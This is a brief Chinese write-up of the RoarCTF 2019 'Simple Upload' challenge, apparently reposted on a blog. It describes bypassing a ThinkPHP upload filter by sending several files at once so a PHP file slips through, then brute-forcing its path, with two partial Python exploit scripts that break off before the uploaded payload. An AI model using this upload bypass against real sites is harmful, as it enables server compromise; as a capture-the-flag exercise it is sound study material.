2019-12-04 [RoarCTF 2019]Simple Upload WriteUp

首先确认入口点把我折腾了好一会儿,最后才明白是单模块的ThinkPHP,入口点为/index.php/home/index/upload
经过分析,发现是多文件上传,过滤处理仅处理了一个文件,可以同时上传多个文件直接解出题目,其它文件我们可以用暴力的方法推断出文件路径,具体解题脚本如下
python3(未确认正确性):

import requests
import time
import json

url = "http://33553ba3-3ecf-4551-af99-378c3c2504a6.node3.buuoj.cn"

path = url + "/index.php/home/index/upload"
files = {"file":("a.txt",'a'), "file1":("b.php", '

python2(用这个拿的flag):

import requests
import time
import json

url = "http://443e6467-a00e-47ec-b8cb-6af3da800131.node3.buuoj.cn/"

path = url + "/index.php/home/index/upload"
files = {"file":("a.txt",'a'), "file1":("b.php", '

你可能感兴趣的:(2019-12-04 [RoarCTF 2019]Simple Upload WriteUp)